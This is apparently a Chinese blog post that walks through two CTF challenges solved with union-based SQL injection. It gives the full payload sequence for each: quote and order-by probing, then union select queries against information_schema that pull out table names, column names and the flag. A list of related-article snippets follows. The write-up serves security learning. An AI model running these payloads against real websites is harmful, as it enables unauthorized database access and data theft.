union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下。
首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/83869918”
再附上一张文章里面的图
接下来直接上题
1.这个看起来有点简单
题目连接:http://ctf5.shiyanbar.com/8/index.php?id=1
首先一进去看着那个表,和url里面的id=1,就感觉应该是SQL注入的题。
老样子,先把id=1,改成id=2,和id=3发现可以返回不同的数据。
然后 加个引号和注释号 id=1‘#,发现报错,由此确定是sql注入,并且应该是数字注入,不用闭合。
然后先确定列数,看图感觉是两列,再网址后输 id=1 order by2 ,返回正确,id=1 order by 3返回错误, 从而判断是两列。
好,接下来用union搞一搞,输入 id=-1 union select 1,2# 得到以下画面
这还能说啥,直接一波爆库名,爆表名,爆段名再说,
-1 union select -1,database()#
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
答案字段应该是再thiskey里
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey' #
得到字段名 k0y
然后 -1 union select 1,k0y from thiskey#
拿到flag, 这道题也可以用sqlmap跑出来。
2.bugku成绩单
题目链接 http://123.206.87.240:8002/chengjidan/index.php
和上一道题很相似,所以依然按照步骤来就好,不过这里需要注意一下,当输入 1的时候,返回的是龙龙的成绩单,当加一个引号,不返回结果,然后再输入1‘# 则返回龙龙的成绩,很明显,这里需要闭合,是字符型的注入。
确定列数
1’ order by 5#返回错误, 1‘ order by 4 返回龙龙的成绩单,说明有 4列 。但是表格只有三列,所以先用 union select 1,2,3,4 来搞一下事情 ,输入-1' union select 1,2,3,4# 这里说一下为什么前面要用-1,这道题只会显示一行,如果用1的话,会显示龙龙的成绩,这里只会显示一行,所以要让第一行不显示,直接用-1。
发现第一列被隐藏了,所以后面要输入数据应该再二三四列显示。
ok 都到这一步了,接下来就直接爆库名这些了。。。
-1’ union select 1,database(),3,4#
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#
出现表名 fl4g
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),3,4#
得到 字段名 skctf_flag
接下来 -1' union select 1,(select skctf_flag from fl4g),3,4#
拿到答案,当然这道题也可以用sqlmap跑出来,只不过这里是post传数据,要用bp和sqlmap一起结合而已。
还有两道题再下一篇博客写。。。。。
union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单的更多相关文章
- 实验吧_简单的sql注入_1、2、3
简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...
- 【实验吧】CTF_Web_简单的SQL注入之3
实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...
- 实验吧简单的sql注入3
今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了 但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路 ...
- 实验吧之【简单的sql注入 1、2、3】
实验吧的三道sql注入(感觉实验吧大部分web都是注入) 简单的SQL注入 地址:http://ctf5.shiyanbar.com/423/web/ 这道题也是sql注入,输入1,页面显示正常,输出 ...
- 实验吧简单的SQL注入1,简单的SQL注入
接上面一篇博客. 实验吧简单的sql注入1 题目连接 http://ctf5.shiyanbar.com/423/web/ 同样,直接输入 1加个但引号,结果下面有返回错误, ...
- 【实验吧】CTF_Web_简单的SQL注入之1
题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- 简单的SQL注入学习
引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...
- 实验吧—Web——WP之 简单的sql注入之2
直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...
随机推荐
- 签名时出错: 未能对** SignTool Error:
项目在vs2010创建,在2017上运行时报签名时出错.......... 解决方法: 右键项目 - 属性-签名 - 创建测试证书 - 密码可以为空-确定
- 父子间的通信,以及ref
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title&g ...
- Android Gradle 学习笔记(四):Gradle 构建脚本
本节我们从整体的角度来介绍一下Gradle. 一.setting.gradle 在Gradle中,定义了一个设置文件,用于初始化以及工程树的配置.设置文件的默认的名字就是setting.gradle, ...
- java中的IO流操作总结
概要:
- 非法指令(Illegal Instruction)问题定位
关键词:Illegal Instruction.SIGILL等. 进程在运行过程中会收到SIGILL信号,此类错误是由操作系统发送给进程的. SIGILL是某个进程中的某一句不能被CPU识别指令,这些 ...
- 关于JS 的原型和原型链
原型 JavaScript规定,每一个函数都有一个prototype对象属性,指向另一个对象.prototype对象属性的所有属性和方法都会被构造函数的实例继承.这意味着我们可以把那些公用的属性和方法 ...
- day(66)作业
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- python 编程2
一.课堂练习 描述 使用input输入若干个数,输出个数以及其中最大的数 1.普通方法实现 def max(*a): m=a[0] b=0 for x in a: if x>m: m=x b+= ...
- 使用VMware Workstation Player虚拟机安装Linux系统
下载安装 VMware Workstation Player 首先下载并安装 VMware Workstation Player, VMware Workstation是一款非常强大的虚拟机软件,有p ...
- Rails + Webpacker + Puma + Nginx 部署
准备 ssh 登录 首先 ssh 登录服务器,免密码登录可以参考 ssh 免密码登录服务器 创建部署用户 $ sudo adduser deploy 安装依赖 Ruby 这里使用 RVM 安装和管理 ...